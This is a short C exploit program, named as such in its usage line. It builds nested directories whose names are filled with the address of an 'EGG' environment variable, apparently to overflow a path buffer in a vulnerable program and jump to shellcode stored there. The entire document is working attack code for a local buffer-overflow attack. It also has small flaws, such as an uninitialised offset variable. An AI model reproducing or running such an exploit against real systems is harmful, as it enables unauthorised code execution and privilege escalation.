#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

#define BUFFER_SIZE 129
#define OFFSET 0

int main(int argc,char *argv[]){
  char *path,*egg;
  char *byteptr;
  long *ptr,addr;  
  int i,offset,buf_offset;

  printf("Usage : ./exploit [offset] [buffer offset]\n");

  offset=OFFSET;  

  if (argc>1) offset=atoi(argv[1]);      
  if (argc>2) buf_offset=atoi(argv[2]); 
  addr=getenv("EGG")-offset;
  printf("address : 0x%x\n",addr);   
  
  path=malloc(BUFFER_SIZE);
  ptr=(long *)path;
  
  for (i=0; i<BUFFER_SIZE; i+=4)
   *(ptr++)=addr;
  path[BUFFER_SIZE-1]='\0';  

  for (i=0; i<8; i++)
   {          
     mkdir(path,0777);     
     chdir(path);
   }
 
 
  ptr=(long *)path;
  
  for (i=0; i<BUFFER_SIZE-buf_offset; i+=4)
   *(ptr++)=addr;
  path[BUFFER_SIZE-1-buf_offset]='\0';  
  mkdir(path,0777);

  path="..";
  for (i=0; i<8; i++)
    chdir(path);  
}